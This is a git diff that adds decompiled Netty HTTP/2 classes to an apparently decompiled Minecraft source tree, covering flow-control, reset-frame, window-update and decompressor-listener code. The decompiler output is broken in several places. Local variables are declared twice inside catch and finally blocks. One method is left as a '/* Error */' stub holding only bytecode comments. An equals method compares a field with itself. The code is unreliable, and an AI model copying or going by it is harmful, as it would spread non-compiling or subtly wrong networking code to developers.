+    void markedWritability(boolean isWritable)
+    {
+      markedWritable = isWritable;
+    }
+    
+    public int windowSize()
+    {
+      return window;
+    }
+    
+
+
+    void windowSize(int initialWindowSize)
+    {
+      window = initialWindowSize;
+    }
+    
+
+
+
+    int writeAllocatedBytes(int allocated)
+    {
+      int initialAllocated = allocated;
+      
+
+      Throwable cause = null;
+      int writtenBytes;
+      try {
+        assert (!writing);
+        writing = true;
+        
+
+        boolean writeOccurred = false;
+        Http2RemoteFlowController.FlowControlled frame; int maxBytes; while ((!cancelled) && ((frame = peek()) != null)) {
+          maxBytes = Math.min(allocated, writableWindow());
+          if ((maxBytes <= 0) && (frame.size() > 0)) {
+            break;
+          }
+          
+
+          writeOccurred = true;
+          int initialFrameSize = frame.size();
+          try {
+            frame.write(ctx, Math.max(0, maxBytes));
+            if (frame.size() == 0)
+            {
+
+
+              pendingWriteQueue.remove();
+              frame.writeComplete();
+            }
+          }
+          finally {
+            allocated -= initialFrameSize - frame.size();
+          }
+        }
+        
+        if (!writeOccurred) {
+          int writtenBytes;
+          return -1;
+        }
+      }
+      catch (Throwable t) {
+        int writtenBytes;
+        cancelled = true;
+        cause = t;
+      } finally { int writtenBytes;
+        writing = false;
+        
+
+        writtenBytes = initialAllocated - allocated;
+        
+        decrementPendingBytes(writtenBytes, false);
+        decrementFlowControlWindow(writtenBytes);
+        
+
+
+        if (cancelled) {
+          cancel(cause);
+        }
+      }
+      return writtenBytes;
+    }
+    
+
+    int incrementStreamWindow(int delta)
+      throws Http2Exception
+    {
+      if ((delta > 0) && (Integer.MAX_VALUE - delta < window)) {
+        throw Http2Exception.streamError(stream.id(), Http2Error.FLOW_CONTROL_ERROR, "Window size overflow for stream: %d", new Object[] { Integer.valueOf(stream.id()) });
+      }
+      
+      window += delta;
+      
+      streamByteDistributor.updateStreamableBytes(this);
+      return window;
+    }
+    
+
+
+    private int writableWindow()
+    {
+      return Math.min(window, DefaultHttp2RemoteFlowController.this.connectionWindowSize());
+    }
+    
+    public int pendingBytes()
+    {
+      return pendingBytes;
+    }
+    
+
+
+    void enqueueFrame(Http2RemoteFlowController.FlowControlled frame)
+    {
+      Http2RemoteFlowController.FlowControlled last = (Http2RemoteFlowController.FlowControlled)pendingWriteQueue.peekLast();
+      if (last == null) {
+        enqueueFrameWithoutMerge(frame);
+        return;
+      }
+      
+      int lastSize = last.size();
+      if (last.merge(ctx, frame)) {
+        incrementPendingBytes(last.size() - lastSize, true);
+        return;
+      }
+      enqueueFrameWithoutMerge(frame);
+    }
+    
+    private void enqueueFrameWithoutMerge(Http2RemoteFlowController.FlowControlled frame) {
+      pendingWriteQueue.offer(frame);
+      
+
+      incrementPendingBytes(frame.size(), true);
+    }
+    
+    public boolean hasFrame()
+    {
+      return !pendingWriteQueue.isEmpty();
+    }
+    
+
+
+    private Http2RemoteFlowController.FlowControlled peek()
+    {
+      return (Http2RemoteFlowController.FlowControlled)pendingWriteQueue.peek();
+    }
+    
+
+
+    void cancel()
+    {
+      cancel(null);
+    }
+    
+
+
+
+    private void cancel(Throwable cause)
+    {
+      cancelled = true;
+      
+      if (writing) {
+        return;
+      }
+      for (;;)
+      {
+        Http2RemoteFlowController.FlowControlled frame = (Http2RemoteFlowController.FlowControlled)pendingWriteQueue.poll();
+        if (frame == null) {
+          break;
+        }
+        writeError(frame, Http2Exception.streamError(stream.id(), Http2Error.INTERNAL_ERROR, cause, "Stream closed before write could take place", new Object[0]));
+      }
+      
+
+      streamByteDistributor.updateStreamableBytes(this);
+      
+      isWritableSupplier = BooleanSupplier.FALSE_SUPPLIER;
+      monitor.stateCancelled(this);
+    }
+    
+
+
+
+    private void incrementPendingBytes(int numBytes, boolean updateStreamableBytes)
+    {
+      pendingBytes += numBytes;
+      monitor.incrementPendingBytes(numBytes);
+      if (updateStreamableBytes) {
+        streamByteDistributor.updateStreamableBytes(this);
+      }
+    }
+    
+
+
+    private void decrementPendingBytes(int bytes, boolean updateStreamableBytes)
+    {
+      incrementPendingBytes(-bytes, updateStreamableBytes);
+    }
+    
+
+    private void decrementFlowControlWindow(int bytes)
+    {
+      try
+      {
+        int negativeBytes = -bytes;
+        connectionState.incrementStreamWindow(negativeBytes);
+        incrementStreamWindow(negativeBytes);
+      }
+      catch (Http2Exception e) {
+        throw new IllegalStateException("Invalid window state when writing frame: " + e.getMessage(), e);
+      }
+    }
+    
+
+
+
+    private void writeError(Http2RemoteFlowController.FlowControlled frame, Http2Exception cause)
+    {
+      assert (ctx != null);
+      decrementPendingBytes(frame.size(), true);
+      frame.error(ctx, cause);
+    }
+  }
+  
+
+  private class WritabilityMonitor
+  {
+    private boolean inWritePendingBytes;
+    
+    private long totalPendingBytes;
+    private final StreamByteDistributor.Writer writer = new StreamByteDistributor.Writer()
+    {
+      public void write(Http2Stream stream, int numBytes) {
+        DefaultHttp2RemoteFlowController.this.state(stream).writeAllocatedBytes(numBytes);
+      }
+    };
+    
+
+
+    private WritabilityMonitor() {}
+    
+
+
+    void channelWritabilityChange()
+      throws Http2Exception
+    {}
+    
+
+
+    void stateCancelled(DefaultHttp2RemoteFlowController.FlowState state) {}
+    
+
+
+    void windowSize(DefaultHttp2RemoteFlowController.FlowState state, int initialWindowSize)
+    {
+      state.windowSize(initialWindowSize);
+    }
+    
+
+
+
+
+    void incrementWindowSize(DefaultHttp2RemoteFlowController.FlowState state, int delta)
+      throws Http2Exception
+    {
+      state.incrementStreamWindow(delta);
+    }
+    
+
+
+
+
+    void enqueueFrame(DefaultHttp2RemoteFlowController.FlowState state, Http2RemoteFlowController.FlowControlled frame)
+      throws Http2Exception
+    {
+      state.enqueueFrame(frame);
+    }
+    
+
+
+
+
+    final void incrementPendingBytes(int delta)
+    {
+      totalPendingBytes += delta;
+    }
+    
+
+
+
+
+
+
+
+    final boolean isWritable(DefaultHttp2RemoteFlowController.FlowState state)
+    {
+      return (isWritableConnection()) && (state.isWritable());
+    }
+    
+
+
+
+    final void writePendingBytes()
+      throws Http2Exception
+    {
+      if (inWritePendingBytes) {
+        return;
+      }
+      inWritePendingBytes = true;
+      try {
+        int bytesToWrite = DefaultHttp2RemoteFlowController.this.writableBytes();
+        
+
+
+        while ((streamByteDistributor.distribute(bytesToWrite, writer)) && ((bytesToWrite = DefaultHttp2RemoteFlowController.this.writableBytes()) > 0)) { if (!DefaultHttp2RemoteFlowController.this.isChannelWritable0()) {
+            break;
+          }
+        }
+      }
+      finally
+      {
+        inWritePendingBytes = false;
+      }
+    }
+    
+    void initialWindowSize(int newWindowSize) throws Http2Exception {
+      if (newWindowSize < 0) {
+        throw new IllegalArgumentException("Invalid initial window size: " + newWindowSize);
+      }
+      
+      final int delta = newWindowSize - initialWindowSize;
+      initialWindowSize = newWindowSize;
+      connection.forEachActiveStream(new Http2StreamVisitor()
+      {
+        public boolean visit(Http2Stream stream) throws Http2Exception {
+          DefaultHttp2RemoteFlowController.this.state(stream).incrementStreamWindow(delta);
+          return true;
+        }
+      });
+      
+      if ((delta > 0) && (DefaultHttp2RemoteFlowController.this.isChannelWritable()))
+      {
+        writePendingBytes();
+      }
+    }
+    
+    final boolean isWritableConnection() {
+      return (connectionState.windowSize() - totalPendingBytes > 0L) && (DefaultHttp2RemoteFlowController.this.isChannelWritable());
+    }
+  }
+  
+
+
+
+  private final class ListenerWritabilityMonitor
+    extends DefaultHttp2RemoteFlowController.WritabilityMonitor
+  {
+    private final Http2RemoteFlowController.Listener listener;
+    
+
+
+    private final Http2StreamVisitor checkStreamWritabilityVisitor = new Http2StreamVisitor()
+    {
+      public boolean visit(Http2Stream stream) throws Http2Exception {
+        DefaultHttp2RemoteFlowController.FlowState state = DefaultHttp2RemoteFlowController.this.state(stream);
+        if (isWritable(state) != state.markedWritability()) {
+          DefaultHttp2RemoteFlowController.ListenerWritabilityMonitor.this.notifyWritabilityChanged(state);
+        }
+        return true;
+      }
+    };
+    
+    ListenerWritabilityMonitor(Http2RemoteFlowController.Listener listener) { super(null);
+      this.listener = listener;
+    }
+    
+    void windowSize(DefaultHttp2RemoteFlowController.FlowState state, int initialWindowSize)
+    {
+      super.windowSize(state, initialWindowSize);
+      try {
+        checkStateWritability(state);
+      } catch (Http2Exception e) {
+        throw new RuntimeException("Caught unexpected exception from window", e);
+      }
+    }
+    
+    void incrementWindowSize(DefaultHttp2RemoteFlowController.FlowState state, int delta) throws Http2Exception
+    {
+      super.incrementWindowSize(state, delta);
+      checkStateWritability(state);
+    }
+    
+    void initialWindowSize(int newWindowSize) throws Http2Exception
+    {
+      super.initialWindowSize(newWindowSize);
+      if (isWritableConnection())
+      {
+
+        checkAllWritabilityChanged();
+      }
+    }
+    
+    void enqueueFrame(DefaultHttp2RemoteFlowController.FlowState state, Http2RemoteFlowController.FlowControlled frame) throws Http2Exception
+    {
+      super.enqueueFrame(state, frame);
+      checkConnectionThenStreamWritabilityChanged(state);
+    }
+    
+    void stateCancelled(DefaultHttp2RemoteFlowController.FlowState state)
+    {
+      try {
+        checkConnectionThenStreamWritabilityChanged(state);
+      } catch (Http2Exception e) {
+        throw new RuntimeException("Caught unexpected exception from checkAllWritabilityChanged", e);
+      }
+    }
+    
+    void channelWritabilityChange() throws Http2Exception
+    {
+      if (connectionState.markedWritability() != DefaultHttp2RemoteFlowController.this.isChannelWritable()) {
+        checkAllWritabilityChanged();
+      }
+    }
+    
+    private void checkStateWritability(DefaultHttp2RemoteFlowController.FlowState state) throws Http2Exception {
+      if (isWritable(state) != state.markedWritability()) {
+        if (state == connectionState) {
+          checkAllWritabilityChanged();
+        } else {
+          notifyWritabilityChanged(state);
+        }
+      }
+    }
+    
+    private void notifyWritabilityChanged(DefaultHttp2RemoteFlowController.FlowState state) {
+      state.markedWritability(!state.markedWritability());
+      try {
+        listener.writabilityChanged(DefaultHttp2RemoteFlowController.FlowState.access$1400(state));
+      } catch (Throwable cause) {
+        DefaultHttp2RemoteFlowController.logger.error("Caught Throwable from listener.writabilityChanged", cause);
+      }
+    }
+    
+    private void checkConnectionThenStreamWritabilityChanged(DefaultHttp2RemoteFlowController.FlowState state) throws Http2Exception
+    {
+      if (isWritableConnection() != connectionState.markedWritability()) {
+        checkAllWritabilityChanged();
+      } else if (isWritable(state) != state.markedWritability()) {
+        notifyWritabilityChanged(state);
+      }
+    }
+    
+    private void checkAllWritabilityChanged() throws Http2Exception
+    {
+      connectionState.markedWritability(isWritableConnection());
+      connection.forEachActiveStream(checkStreamWritabilityVisitor);
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/http2/DefaultHttp2ResetFrame.java b/src/minecraft/io/netty/handler/codec/http2/DefaultHttp2ResetFrame.java
new file mode 100644
index 0000000..d6287cd
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http2/DefaultHttp2ResetFrame.java
@@ -0,0 +1,83 @@
+package io.netty.handler.codec.http2;
+
+import io.netty.util.internal.ObjectUtil;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class DefaultHttp2ResetFrame
+  extends AbstractHttp2StreamFrame
+  implements Http2ResetFrame
+{
+  private final long errorCode;
+  
+  public DefaultHttp2ResetFrame(Http2Error error)
+  {
+    errorCode = ((Http2Error)ObjectUtil.checkNotNull(error, "error")).code();
+  }
+  
+
+
+
+
+  public DefaultHttp2ResetFrame(long errorCode)
+  {
+    this.errorCode = errorCode;
+  }
+  
+  public DefaultHttp2ResetFrame streamId(int streamId)
+  {
+    super.streamId(streamId);
+    return this;
+  }
+  
+  public String name()
+  {
+    return "RST_STREAM";
+  }
+  
+  public long errorCode()
+  {
+    return errorCode;
+  }
+  
+  public String toString()
+  {
+    return "DefaultHttp2ResetFrame(stream=" + streamId() + "errorCode=" + errorCode + ")";
+  }
+  
+  public boolean equals(Object o)
+  {
+    if (!(o instanceof DefaultHttp2ResetFrame)) {
+      return false;
+    }
+    DefaultHttp2ResetFrame other = (DefaultHttp2ResetFrame)o;
+    return (super.equals(o)) && (errorCode == errorCode);
+  }
+  
+  public int hashCode()
+  {
+    int hash = super.hashCode();
+    hash = hash * 31 + (int)(errorCode ^ errorCode >>> 32);
+    return hash;
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/http2/DefaultHttp2WindowUpdateFrame.java b/src/minecraft/io/netty/handler/codec/http2/DefaultHttp2WindowUpdateFrame.java
new file mode 100644
index 0000000..6b7433d
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http2/DefaultHttp2WindowUpdateFrame.java
@@ -0,0 +1,49 @@
+package io.netty.handler.codec.http2;
+
+import io.netty.util.internal.ObjectUtil;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class DefaultHttp2WindowUpdateFrame
+  extends AbstractHttp2StreamFrame
+  implements Http2WindowUpdateFrame
+{
+  private final int windowUpdateIncrement;
+  
+  public DefaultHttp2WindowUpdateFrame(int windowUpdateIncrement)
+  {
+    this.windowUpdateIncrement = ObjectUtil.checkPositive(windowUpdateIncrement, "windowUpdateIncrement");
+  }
+  
+  public DefaultHttp2WindowUpdateFrame streamId(int streamId)
+  {
+    super.streamId(streamId);
+    return this;
+  }
+  
+  public String name()
+  {
+    return "WINDOW_UPDATE";
+  }
+  
+  public int windowSizeIncrement()
+  {
+    return windowUpdateIncrement;
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/http2/DelegatingDecompressorFrameListener.java b/src/minecraft/io/netty/handler/codec/http2/DelegatingDecompressorFrameListener.java
new file mode 100644
index 0000000..1563fec
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http2/DelegatingDecompressorFrameListener.java
@@ -0,0 +1,591 @@
+package io.netty.handler.codec.http2;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.channel.Channel;
+import io.netty.channel.ChannelHandler;
+import io.netty.channel.ChannelHandlerContext;
+import io.netty.channel.ChannelMetadata;
+import io.netty.channel.embedded.EmbeddedChannel;
+import io.netty.handler.codec.compression.ZlibCodecFactory;
+import io.netty.handler.codec.compression.ZlibWrapper;
+import io.netty.handler.codec.http.HttpHeaderNames;
+import io.netty.handler.codec.http.HttpHeaderValues;
+import io.netty.util.AsciiString;
+import io.netty.util.internal.ObjectUtil;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class DelegatingDecompressorFrameListener
+  extends Http2FrameListenerDecorator
+{
+  private final Http2Connection connection;
+  private final boolean strict;
+  private boolean flowControllerInitialized;
+  private final Http2Connection.PropertyKey propertyKey;
+  
+  public DelegatingDecompressorFrameListener(Http2Connection connection, Http2FrameListener listener)
+  {
+    this(connection, listener, true);
+  }
+  
+  public DelegatingDecompressorFrameListener(Http2Connection connection, Http2FrameListener listener, boolean strict)
+  {
+    super(listener);
+    this.connection = connection;
+    this.strict = strict;
+    
+    propertyKey = connection.newKey();
+    connection.addListener(new Http2ConnectionAdapter()
+    {
+      public void onStreamRemoved(Http2Stream stream) {
+        DelegatingDecompressorFrameListener.Http2Decompressor decompressor = decompressor(stream);
+        if (decompressor != null) {
+          DelegatingDecompressorFrameListener.cleanup(decompressor);
+        }
+      }
+    });
+  }
+  
+  /* Error */
+  public int onDataRead(ChannelHandlerContext ctx, int streamId, ByteBuf data, int padding, boolean endOfStream)
+    throws Http2Exception
+  {
+    // Byte code:
+    //   0: aload_0
+    //   1: getfield 4	io/netty/handler/codec/http2/DelegatingDecompressorFrameListener:connection	Lio/netty/handler/codec/http2/Http2Connection;
+    //   4: iload_2
+    //   5: invokeinterface 11 2 0
+    //   10: astore 6
+    //   12: aload_0
+    //   13: aload 6
+    //   15: invokevirtual 12	io/netty/handler/codec/http2/DelegatingDecompressorFrameListener:decompressor	(Lio/netty/handler/codec/http2/Http2Stream;)Lio/netty/handler/codec/http2/DelegatingDecompressorFrameListener$Http2Decompressor;
+    //   18: astore 7
+    //   20: aload 7
+    //   22: ifnonnull +20 -> 42
+    //   25: aload_0
+    //   26: getfield 13	io/netty/handler/codec/http2/DelegatingDecompressorFrameListener:listener	Lio/netty/handler/codec/http2/Http2FrameListener;
+    //   29: aload_1
+    //   30: iload_2
+    //   31: aload_3
+    //   32: iload 4
+    //   34: iload 5
+    //   36: invokeinterface 14 6 0
+    //   41: ireturn
+    //   42: aload 7
+    //   44: invokevirtual 15	io/netty/handler/codec/http2/DelegatingDecompressorFrameListener$Http2Decompressor:decompressor	()Lio/netty/channel/embedded/EmbeddedChannel;
+    //   47: astore 8
+    //   49: aload_3
+    //   50: invokevirtual 16	io/netty/buffer/ByteBuf:readableBytes	()I
+    //   53: iload 4
+    //   55: iadd
+    //   56: istore 9
+    //   58: aload 7
+    //   60: iload 9
+    //   62: invokevirtual 17	io/netty/handler/codec/http2/DelegatingDecompressorFrameListener$Http2Decompressor:incrementCompressedBytes	(I)V
+    //   65: aload 8
+    //   67: iconst_1
+    //   68: anewarray 18	java/lang/Object
+    //   71: dup
+    //   72: iconst_0
+    //   73: aload_3
+    //   74: invokevirtual 19	io/netty/buffer/ByteBuf:retain	()Lio/netty/buffer/ByteBuf;
+    //   77: aastore
+    //   78: invokevirtual 20	io/netty/channel/embedded/EmbeddedChannel:writeInbound	([Ljava/lang/Object;)Z
+    //   81: pop
+    //   82: aload 8
+    //   84: invokestatic 21	io/netty/handler/codec/http2/DelegatingDecompressorFrameListener:nextReadableBuf	(Lio/netty/channel/embedded/EmbeddedChannel;)Lio/netty/buffer/ByteBuf;
+    //   87: astore 10
+    //   89: aload 10
+    //   91: ifnonnull +23 -> 114
+    //   94: iload 5
+    //   96: ifeq +18 -> 114
+    //   99: aload 8
+    //   101: invokevirtual 22	io/netty/channel/embedded/EmbeddedChannel:finish	()Z
+    //   104: ifeq +10 -> 114
+    //   107: aload 8
+    //   109: invokestatic 21	io/netty/handler/codec/http2/DelegatingDecompressorFrameListener:nextReadableBuf	(Lio/netty/channel/embedded/EmbeddedChannel;)Lio/netty/buffer/ByteBuf;
+    //   112: astore 10
+    //   114: aload 10
+    //   116: ifnonnull +36 -> 152
+    //   119: iload 5
+    //   121: ifeq +21 -> 142
+    //   124: aload_0
+    //   125: getfield 13	io/netty/handler/codec/http2/DelegatingDecompressorFrameListener:listener	Lio/netty/handler/codec/http2/Http2FrameListener;
+    //   128: aload_1
+    //   129: iload_2
+    //   130: getstatic 23	io/netty/buffer/Unpooled:EMPTY_BUFFER	Lio/netty/buffer/ByteBuf;
+    //   133: iload 4
+    //   135: iconst_1
+    //   136: invokeinterface 14 6 0
+    //   141: pop
+    //   142: aload 7
+    //   144: iload 9
+    //   146: invokevirtual 24	io/netty/handler/codec/http2/DelegatingDecompressorFrameListener$Http2Decompressor:incrementDecompressedBytes	(I)V
+    //   149: iload 9
+    //   151: ireturn
+    //   152: aload_0
+    //   153: getfield 4	io/netty/handler/codec/http2/DelegatingDecompressorFrameListener:connection	Lio/netty/handler/codec/http2/Http2Connection;
+    //   156: invokeinterface 25 1 0
+    //   161: invokeinterface 26 1 0
+    //   166: checkcast 27	io/netty/handler/codec/http2/Http2LocalFlowController
+    //   169: astore 11
+    //   171: aload 7
+    //   173: iload 4
+    //   175: invokevirtual 24	io/netty/handler/codec/http2/DelegatingDecompressorFrameListener$Http2Decompressor:incrementDecompressedBytes	(I)V
+    //   178: aload 8
+    //   180: invokestatic 21	io/netty/handler/codec/http2/DelegatingDecompressorFrameListener:nextReadableBuf	(Lio/netty/channel/embedded/EmbeddedChannel;)Lio/netty/buffer/ByteBuf;
+    //   183: astore 12
+    //   185: aload 12
+    //   187: ifnonnull +12 -> 199
+    //   190: iload 5
+    //   192: ifeq +7 -> 199
+    //   195: iconst_1
+    //   196: goto +4 -> 200
+    //   199: iconst_0
+    //   200: istore 13
+    //   202: iload 13
+    //   204: ifeq +30 -> 234
+    //   207: aload 8
+    //   209: invokevirtual 22	io/netty/channel/embedded/EmbeddedChannel:finish	()Z
+    //   212: ifeq +22 -> 234
+    //   215: aload 8
+    //   217: invokestatic 21	io/netty/handler/codec/http2/DelegatingDecompressorFrameListener:nextReadableBuf	(Lio/netty/channel/embedded/EmbeddedChannel;)Lio/netty/buffer/ByteBuf;
+    //   220: astore 12
+    //   222: aload 12
+    //   224: ifnonnull +7 -> 231
+    //   227: iconst_1
+    //   228: goto +4 -> 232
+    //   231: iconst_0
+    //   232: istore 13
+    //   234: aload 7
+    //   236: aload 10
+    //   238: invokevirtual 16	io/netty/buffer/ByteBuf:readableBytes	()I
+    //   241: invokevirtual 24	io/netty/handler/codec/http2/DelegatingDecompressorFrameListener$Http2Decompressor:incrementDecompressedBytes	(I)V
+    //   244: aload 11
+    //   246: aload 6
+    //   248: aload_0
+    //   249: getfield 13	io/netty/handler/codec/http2/DelegatingDecompressorFrameListener:listener	Lio/netty/handler/codec/http2/Http2FrameListener;
+    //   252: aload_1
+    //   253: iload_2
+    //   254: aload 10
+    //   256: iload 4
+    //   258: iload 13
+    //   260: invokeinterface 14 6 0
+    //   265: invokeinterface 28 3 0
+    //   270: pop
+    //   271: aload 12
+    //   273: ifnonnull +6 -> 279
+    //   276: goto +19 -> 295
+    //   279: iconst_0
+    //   280: istore 4
+    //   282: aload 10
+    //   284: invokevirtual 29	io/netty/buffer/ByteBuf:release	()Z
+    //   287: pop
+    //   288: aload 12
+    //   290: astore 10
+    //   292: goto -114 -> 178
+    //   295: iconst_0
+    //   296: istore 12
+    //   298: aload 10
+    //   300: invokevirtual 29	io/netty/buffer/ByteBuf:release	()Z
+    //   303: pop
+    //   304: iload 12
+    //   306: ireturn
+    //   307: astore 14
+    //   309: aload 10
+    //   311: invokevirtual 29	io/netty/buffer/ByteBuf:release	()Z
+    //   314: pop
+    //   315: aload 14
+    //   317: athrow
+    //   318: astore 10
+    //   320: aload 10
+    //   322: athrow
+    //   323: astore 10
+    //   325: aload 6
+    //   327: invokeinterface 32 1 0
+    //   332: getstatic 33	io/netty/handler/codec/http2/Http2Error:INTERNAL_ERROR	Lio/netty/handler/codec/http2/Http2Error;
+    //   335: aload 10
+    //   337: ldc 34
+    //   339: iconst_1
+    //   340: anewarray 18	java/lang/Object
+    //   343: dup
+    //   344: iconst_0
+    //   345: aload 6
+    //   347: invokeinterface 32 1 0
+    //   352: invokestatic 35	java/lang/Integer:valueOf	(I)Ljava/lang/Integer;
+    //   355: aastore
+    //   356: invokestatic 36	io/netty/handler/codec/http2/Http2Exception:streamError	(ILio/netty/handler/codec/http2/Http2Error;Ljava/lang/Throwable;Ljava/lang/String;[Ljava/lang/Object;)Lio/netty/handler/codec/http2/Http2Exception;
+    //   359: athrow
+    // Line number table:
+    //   Java source line #74	-> byte code offset #0
+    //   Java source line #75	-> byte code offset #12
+    //   Java source line #76	-> byte code offset #20
+    //   Java source line #78	-> byte code offset #25
+    //   Java source line #81	-> byte code offset #42
+    //   Java source line #82	-> byte code offset #49
+    //   Java source line #83	-> byte code offset #58
+    //   Java source line #86	-> byte code offset #65
+    //   Java source line #87	-> byte code offset #82
+    //   Java source line #88	-> byte code offset #89
+    //   Java source line #89	-> byte code offset #107
+    //   Java source line #91	-> byte code offset #114
+    //   Java source line #92	-> byte code offset #119
+    //   Java source line #93	-> byte code offset #124
+    //   Java source line #99	-> byte code offset #142
+    //   Java source line #100	-> byte code offset #149
+    //   Java source line #103	-> byte code offset #152
+    //   Java source line #104	-> byte code offset #171
+    //   Java source line #106	-> byte code offset #178
+    //   Java source line #107	-> byte code offset #185
+    //   Java source line #108	-> byte code offset #202
+    //   Java source line #109	-> byte code offset #215
+    //   Java source line #110	-> byte code offset #222
+    //   Java source line #113	-> byte code offset #234
+    //   Java source line #117	-> byte code offset #244
+    //   Java source line #119	-> byte code offset #271
+    //   Java source line #120	-> byte code offset #276
+    //   Java source line #123	-> byte code offset #279
+    //   Java source line #124	-> byte code offset #282
+    //   Java source line #125	-> byte code offset #288
+    //   Java source line #126	-> byte code offset #292
+    //   Java source line #130	-> byte code offset #295
+    //   Java source line #132	-> byte code offset #298
+    //   Java source line #134	-> byte code offset #318
+    //   Java source line #135	-> byte code offset #320
+    //   Java source line #136	-> byte code offset #323
+    //   Java source line #137	-> byte code offset #325
+    // Local variable table:
+    //   start	length	slot	name	signature
+    //   0	360	0	this	DelegatingDecompressorFrameListener
+    //   0	360	1	ctx	ChannelHandlerContext
+    //   0	360	2	streamId	int
+    //   0	360	3	data	ByteBuf
+    //   0	360	4	padding	int
+    //   0	360	5	endOfStream	boolean
+    //   10	336	6	stream	Http2Stream
+    //   18	217	7	decompressor	Http2Decompressor
+    //   47	169	8	channel	EmbeddedChannel
+    //   56	94	9	compressedBytes	int
+    //   87	223	10	buf	ByteBuf
+    //   318	3	10	e	Http2Exception
+    //   323	13	10	t	Throwable
+    //   169	76	11	flowController	Http2LocalFlowController
+    //   183	122	12	nextBuf	ByteBuf
+    //   200	59	13	decompressedEndOfStream	boolean
+    //   307	9	14	localObject	Object
+    // Exception table:
+    //   from	to	target	type
+    //   152	298	307	finally
+    //   307	309	307	finally
+    //   65	151	318	io/netty/handler/codec/http2/Http2Exception
+    //   152	304	318	io/netty/handler/codec/http2/Http2Exception
+    //   307	318	318	io/netty/handler/codec/http2/Http2Exception
+    //   65	151	323	java/lang/Throwable
+    //   152	304	323	java/lang/Throwable
+    //   307	318	323	java/lang/Throwable
+  }
+  
+  public void onHeadersRead(ChannelHandlerContext ctx, int streamId, Http2Headers headers, int padding, boolean endStream)
+    throws Http2Exception
+  {
+    initDecompressor(ctx, streamId, headers, endStream);
+    listener.onHeadersRead(ctx, streamId, headers, padding, endStream);
+  }
+  
+  public void onHeadersRead(ChannelHandlerContext ctx, int streamId, Http2Headers headers, int streamDependency, short weight, boolean exclusive, int padding, boolean endStream)
+    throws Http2Exception
+  {
+    initDecompressor(ctx, streamId, headers, endStream);
+    listener.onHeadersRead(ctx, streamId, headers, streamDependency, weight, exclusive, padding, endStream);
+  }
+  
+
+
+
+
+
+
+
+
+  protected EmbeddedChannel newContentDecompressor(ChannelHandlerContext ctx, CharSequence contentEncoding)
+    throws Http2Exception
+  {
+    if ((HttpHeaderValues.GZIP.contentEqualsIgnoreCase(contentEncoding)) || (HttpHeaderValues.X_GZIP.contentEqualsIgnoreCase(contentEncoding))) {
+      return new EmbeddedChannel(ctx.channel().id(), ctx.channel().metadata().hasDisconnect(), ctx.channel().config(), new ChannelHandler[] { ZlibCodecFactory.newZlibDecoder(ZlibWrapper.GZIP) });
+    }
+    
+    if ((HttpHeaderValues.DEFLATE.contentEqualsIgnoreCase(contentEncoding)) || (HttpHeaderValues.X_DEFLATE.contentEqualsIgnoreCase(contentEncoding))) {
+      ZlibWrapper wrapper = strict ? ZlibWrapper.ZLIB : ZlibWrapper.ZLIB_OR_NONE;
+      
+      return new EmbeddedChannel(ctx.channel().id(), ctx.channel().metadata().hasDisconnect(), ctx.channel().config(), new ChannelHandler[] { ZlibCodecFactory.newZlibDecoder(wrapper) });
+    }
+    
+
+    return null;
+  }
+  
+
+
+
+
+
+
+
+  protected CharSequence getTargetContentEncoding(CharSequence contentEncoding)
+    throws Http2Exception
+  {
+    return HttpHeaderValues.IDENTITY;
+  }
+  
+
+
+
+
+
+
+
+
+
+  private void initDecompressor(ChannelHandlerContext ctx, int streamId, Http2Headers headers, boolean endOfStream)
+    throws Http2Exception
+  {
+    Http2Stream stream = connection.stream(streamId);
+    if (stream == null) {
+      return;
+    }
+    
+    Http2Decompressor decompressor = decompressor(stream);
+    if ((decompressor == null) && (!endOfStream))
+    {
+      CharSequence contentEncoding = (CharSequence)headers.get(HttpHeaderNames.CONTENT_ENCODING);
+      if (contentEncoding == null) {
+        contentEncoding = HttpHeaderValues.IDENTITY;
+      }
+      EmbeddedChannel channel = newContentDecompressor(ctx, contentEncoding);
+      if (channel != null) {
+        decompressor = new Http2Decompressor(channel);
+        stream.setProperty(propertyKey, decompressor);
+        
+
+        CharSequence targetContentEncoding = getTargetContentEncoding(contentEncoding);
+        if (HttpHeaderValues.IDENTITY.contentEqualsIgnoreCase(targetContentEncoding)) {
+          headers.remove(HttpHeaderNames.CONTENT_ENCODING);
+        } else {
+          headers.set(HttpHeaderNames.CONTENT_ENCODING, targetContentEncoding);
+        }
+      }
+    }
+    
+    if (decompressor != null)
+    {
+
+
+      headers.remove(HttpHeaderNames.CONTENT_LENGTH);
+      
+
+
+      if (!flowControllerInitialized) {
+        flowControllerInitialized = true;
+        connection.local().flowController(new ConsumedBytesConverter((Http2LocalFlowController)connection.local().flowController()));
+      }
+    }
+  }
+  
+  Http2Decompressor decompressor(Http2Stream stream) {
+    return stream == null ? null : (Http2Decompressor)stream.getProperty(propertyKey);
+  }
+  
+
+
+
+
+  private static void cleanup(Http2Decompressor decompressor)
+  {
+    decompressor.decompressor().finishAndReleaseAll();
+  }
+  
+
+
+  private static ByteBuf nextReadableBuf(EmbeddedChannel decompressor)
+  {
+    ByteBuf buf;
+    
+
+    for (;;)
+    {
+      buf = (ByteBuf)decompressor.readInbound();
+      if (buf == null) {
+        return null;
+      }
+      if (buf.isReadable()) break;
+      buf.release();
+    }
+    
+    return buf;
+  }
+  
+
+  private final class ConsumedBytesConverter
+    implements Http2LocalFlowController
+  {
+    private final Http2LocalFlowController flowController;
+    
+    ConsumedBytesConverter(Http2LocalFlowController flowController)
+    {
+      this.flowController = ((Http2LocalFlowController)ObjectUtil.checkNotNull(flowController, "flowController"));
+    }
+    
+    public Http2LocalFlowController frameWriter(Http2FrameWriter frameWriter)
+    {
+      return flowController.frameWriter(frameWriter);
+    }
+    
+    public void channelHandlerContext(ChannelHandlerContext ctx) throws Http2Exception
+    {
+      flowController.channelHandlerContext(ctx);
+    }
+    
+    public void initialWindowSize(int newWindowSize) throws Http2Exception
+    {
+      flowController.initialWindowSize(newWindowSize);
+    }
+    
+    public int initialWindowSize()
+    {
